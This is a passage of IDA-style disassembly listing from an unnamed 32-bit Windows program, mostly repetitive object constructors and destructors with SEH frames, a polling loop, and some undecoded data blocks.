		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_4017DAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AD0	proc near		; CODE XREF: sub_401B3Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417AD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417AD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B40	proc near		; CODE XREF: sub_401F46j
		add	ecx, 4
		jmp	sub_401023
sub_417B40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BE0	proc near		; CODE XREF: sub_401E06j
		add	ecx, 4
		jmp	sub_401023
sub_417BE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C00	proc near		; CODE XREF: sub_402013j
		add	ecx, 4
		jmp	sub_401023
sub_417C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C20	proc near		; CODE XREF: sub_401F00j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417CC0	proc near		; CODE XREF: sub_401587j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417CC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D60	proc near		; CODE XREF: sub_40164Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E30	proc near		; CODE XREF: sub_401780j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401753
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417EF0	proc near		; CODE XREF: sub_40182Fj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F050
		mov	eax, esi
		pop	esi
		retn
sub_417EF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F20	proc near		; CODE XREF: sub_4016BDj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F05C
		mov	eax, esi
		pop	esi
		retn
sub_417F20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F50	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418010	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4180D0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4180D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4180D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418150	proc near		; CODE XREF: sub_401D25j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	off_43F090
		mov	eax, esi
		pop	esi
		retn
sub_418150	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418180
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418200	proc near		; CODE XREF: sub_401A91j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418200	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418280	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F09C
		mov	eax, esi
		pop	esi
		retn
sub_418280	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4182B0	proc near		; CODE XREF: sub_401CB7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4182B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4182B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_40157Dj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A4
		mov	eax, esi
		pop	esi
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418360	proc near		; CODE XREF: sub_401799j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A8
		mov	eax, esi
		pop	esi
		retn
sub_418360	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418390	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418390	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418430	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_5118D8
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418448:				; CODE XREF: sub_418430+E4j
		test	bl, bl
		jnz	loc_41851E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41845E
		mov	bl, 1
		jmp	short loc_418472
; ---------------------------------------------------------------------------


loc_41845E:				; CODE XREF: sub_418430+28j
		lea	ecx, [esi+15Fh]
		call	sub_40186B
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418479


loc_418472:				; CODE XREF: sub_418430+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418479:				; CODE XREF: sub_418430+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4020A4
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F69
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jz	short loc_4184FE


loc_4184B4:				; CODE XREF: sub_418430+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	ecx, [eax]
		call	sub_40174E
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4184DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4184DB:				; CODE XREF: sub_418430+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jnz	short loc_4184B4


loc_4184FE:				; CODE XREF: sub_418430+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418448
		test	bl, bl
		jz	short loc_41852B


loc_41851E:				; CODE XREF: sub_418430+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41852B:				; CODE XREF: sub_418430+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418430	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418590	proc near		; CODE XREF: sub_401771j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418590
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E8E9B
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4185D0
		push	eax
		jmp	short loc_4185D5
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_418590+3Bj
		push	offset byte_448F30


loc_4185D5:				; CODE XREF: sub_418590+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015E1
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4185EE
		push	edi
		jmp	short loc_4185F3
; ---------------------------------------------------------------------------


loc_4185EE:				; CODE XREF: sub_418590+59j
		push	offset byte_448F30


loc_4185F3:				; CODE XREF: sub_418590+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015E1
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418590	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE936BE8h
		dd 244C8DFFh, 2685128h,	90000002h, 69E020E8h, 8E92E871h
		dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh
		dd 68005118h, 3E8h, 0CF8BD3FFh,	0FE8BB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh
		dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh
		dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h
		dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
dword_418750	dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch
		dd 8F2478Eh, 8C5CE800h,	8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh
		dd 9FA138Eh, 8F50E800h,	8E8DFFFEh, 8F3A2h, 0FE9A49E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h
		dd 9FC428Eh, 97A7E800h,	0CF8BFFFEh, 0FE886EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h
		dd 9FAD38Eh, 9720E800h,	8E8DFFFEh, 9FB93h, 0FE916BE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h
		dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh
		dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h,	69BBE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418940:				; CODE XREF: ___:00402225j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418960:				; CODE XREF: ___:00401EE2j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401771
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418990	proc near		; CODE XREF: sub_401B1Dj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021DF
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40162C
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401438
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_402103
sub_418990	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A00	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418A00	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A40	proc near		; CODE XREF: sub_4021FDj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40207C
sub_418A40	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401F69j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D98
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AF0	proc near		; CODE XREF: sub_401311j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_418AF0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		pop	esi
		add	esp, 0Ch
		retn
sub_418B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B70	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		call	sub_401532
		mov	eax, esi
		pop	esi
		retn
sub_418B70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B90	proc near		; CODE XREF: sub_402234j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418B90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BB0	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
